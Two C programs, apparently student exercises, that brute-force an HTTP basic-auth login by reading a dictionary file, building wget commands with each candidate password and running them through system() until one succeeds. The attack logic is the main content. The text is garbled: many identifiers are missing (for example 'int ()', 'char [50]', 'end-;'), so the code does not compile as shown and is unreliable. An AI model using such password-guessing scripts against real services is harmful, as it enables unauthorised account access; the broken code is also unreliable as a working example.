#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define FOUND 2;
#define SECONDS 1e9


int findPassword(char *);

int ()
{
	FILE *fp;
	char word[64];
	char pass[3];
	int found;
	int incr=0;
	int , end, final;
	
	if ((fp = fopen("words","r")) == NULL) 
	{
		printf("Could Not open File -  tset.txt");
		return FAILURE;
		
	}
	printf("\n FILE SUCCESSFULLY opened");
	 = time();
	while (fgets(word, 64, fp) != NULL) 
	{	
		incr++;	
		word[strlen(word) - 1] = '\0';
		strncpy(pass,word,3);	
		found = findPassword(pass);	
		printf("\nTrial %d ",incr);
		if(found == 2)
		{
			printf("\nPASSWORD FOUND   --   %s",pass);
			end = time();
			final = end-;
			printf(" %lld nanoseconds   find the Password \n",final);
			printf(" %lld nanoseconds (%1f seconds)  find the Password \n",final,(double)final/SECONDS);
			return SUCCESS;
		}		
	}
	fclose(fp);	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
